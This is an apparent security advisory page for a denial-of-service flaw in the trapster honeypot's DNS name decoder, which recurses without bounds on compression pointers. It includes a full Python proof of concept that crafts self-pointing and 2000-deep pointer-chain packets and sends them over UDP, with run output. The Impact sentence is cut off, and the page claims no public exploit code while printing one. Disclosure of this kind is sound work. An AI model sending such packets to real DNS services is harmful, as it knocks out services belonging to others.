GHSA-mxwc-wh95-pw4g Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler
Unauthenticated attackers can crash the DNS honeypot handler via recursive compression pointers, causing denial of service.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- None listed
What is GHSA-mxwc-wh95-pw4g?
GHSA-mxwc-wh95-pw4g is a denial of service vulnerability in trapster, published on 8 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
Summary
trapster.libs.dns.decode_labels() decodes DNS names from attacker-supplied UDP packets and recurses once per RFC 1035 compression pointer with no cycle detection and no depth bound. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising RecursionError. That exception is not handled anywhere on the datagram_received path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module).
Severity
Medium (CVSS:3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener.
Affected component
- File:
trapster/libs/dns.py, functiondecode_labels()(called bydecode_question_section→decode_dns_message). - Reached from:
trapster/modules/dns.py,DnsUdpProtocol.datagram_received()→dns.decode_dns_message(data), wheredatais the raw attacker UDP payload received byDnsHoneypoton its configured bind address/port. - Version tested: latest
mainat commit23156739de23816657cbc4582ad32094ed1cab43.
Details
decode_labels implements RFC 1035 §4.1.4 name compression:
def decode_labels(message, offset):
labels = []
while True:
length, = struct.unpack_from("!B", message, offset)
if (length & 0xC0) == 0xC0:
pointer, = struct.unpack_from("!H", message, offset)
offset += 2
return labels + decode_labels(message, pointer & 0x3FFF), offset # <-- recurses per pointer
...
Each compression pointer triggers a fresh recursive call to decode_labels. There is:
- No cycle detection — a pointer that targets its own offset recurses forever.
- No depth bound — a chain of distinct forward pointers recurses once per pointer.
Either shape exhausts the Python stack and raises RecursionError. decode_dns_message does not catch it, and in DnsUdpProtocol.datagram_received the call dns.decode_dns_message(data) is unguarded, so the exception propagates out of datagram_received into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop's default exception handler logs a full traceback for every packet.
This is the same class of bug fixed upstream in python-zeroconf (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had.
Proof of Concept
Real-deploy E2E. The actual trapster.modules.dns.DnsHoneypot server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes datagram_received.
e2e_poc.py:
import asyncio, struct, socket, sys
from trapster.modules.dns import DnsHoneypot
from trapster.logger.base import BaseLogger
HOST, PORT = "127.0.0.1", 15353
captured_loop_exceptions = []
def build_benign_query(qname=b"example.com"):
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
labels = b"".join(struct.pack("!B", len(p)) + p for p in qname.split(b".")) + b"\x00"
return header + labels + struct.pack("!2H", 1, 1)
def build_self_pointer():
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
name = struct.pack("!H", 0xC000 | 12) # pointer to offset 12 == this name
return header + name + struct.pack("!2H", 1, 1)
def build_pointer_chain(depth=2000):
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
name = struct.pack("!H", 0xC000 | 18)
qtail = struct.pack("!2H", 1, 1)
chain = bytearray()
for i in range(depth):
chain += struct.pack("!H", 0xC000 | (18 + 2 * (i + 1)))
chain += b"\x00"
return header + name + qtail + bytes(chain)
def send_udp(payload, timeout=1.0):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout)
s.sendto(payload, (HOST, PORT))
try: return s.recvfrom(4096)[0]
except socket.timeout: return None
finally: s.close()
async def main():
loop = asyncio.get_running_loop()
def handler(loopobj, context):
exc = context.get("exception")
captured_loop_exceptions.append((repr(exc), context.get("message")))
print(f"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get('message')}")
loop.set_exception_handler(handler)
hp = DnsHoneypot(config={"port": PORT, "target_dns": "127.0.0.1"},
logger=BaseLogger(node_id="e2e"), bindaddr=HOST)
await hp.start(); await asyncio.sleep(0.4)
print(f"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\n")
print("=== NEGATIVE CONTROL: benign query example.com A ===")
captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3)
print(f" loop exceptions after benign packet: {len(captured_loop_exceptions)}")
assert len(captured_loop_exceptions) == 0
print(" -> benign packet parsed cleanly, no exception\n")
print("=== VECTOR A: single self-referential compression pointer (cycle) ===")
captured_loop_exceptions.clear(); pkt = build_self_pointer()
print(f" packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)")
send_udp(pkt); await asyncio.sleep(0.5)
print(f" loop exceptions captured: {len(captured_loop_exceptions)}")
for e in captured_loop_exceptions: print(f" {e}")
assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
print(" -> RecursionError escaped datagram_received (DoS, no cycle guard)\n")
print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===")
captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000)
print(f" packet ({len(pkt)} bytes) = 2000-deep forward pointer chain")
send_udp(pkt); await asyncio.sleep(0.5)
print(f" loop exceptions captured: {len(captured_loop_exceptions)}")
for e in captured_loop_exceptions: print(f" {e}")
assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
print(" -> RecursionError escaped datagram_received (DoS, no depth bound)\n")
await hp.stop(); print("ALL ASSERTIONS PASSED")
if __name__ == "__main__":
sys.setrecursionlimit(1000)
asyncio.run(main())
Verbatim run against the deployed honeypot at commit 23156739de23816657cbc4582ad32094ed1cab43:
[deploy] DnsHoneypot listening on udp://127.0.0.1:15353
=== NEGATIVE CONTROL: benign query example.com A ===
loop exceptions after benign packet: 0
-> benign packet parsed cleanly, no exception
=== VECTOR A: single self-referential compression pointer (cycle) ===
packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself)
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
loop exceptions captured: 1
("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
-> RecursionError escaped datagram_received (DoS, no cycle guard)
=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===
packet (4019 bytes) = 2000-deep forward pointer chain
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
loop exceptions captured: 1
("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
-> RecursionError escaped datagram_received (DoS, no depth bound)
ALL ASSERTIONS PASSED
The negative control (a well-formed example.com A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input.
Impact
Any host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can c
Which versions are affected by GHSA-mxwc-wh95-pw4g?
2 open source packages ship an affected version, including trapster.
| Package | Affected | Fixed in |
|---|---|---|
trapster PyPI | All versions to 1.2.0 | None |
trapster PyPI | All versions to 1.2.0 | None |
How do I fix GHSA-mxwc-wh95-pw4g?
No fix has been published for GHSA-mxwc-wh95-pw4g yet. Limit exposure of the affected software until one is available.
Upgrade, then put limits on request size, rate and nesting depth so one client cannot exhaust the service. More about Denial of service.
Is GHSA-mxwc-wh95-pw4g being exploited?
There is no known exploitation of GHSA-mxwc-wh95-pw4g in the wild and no public exploit code.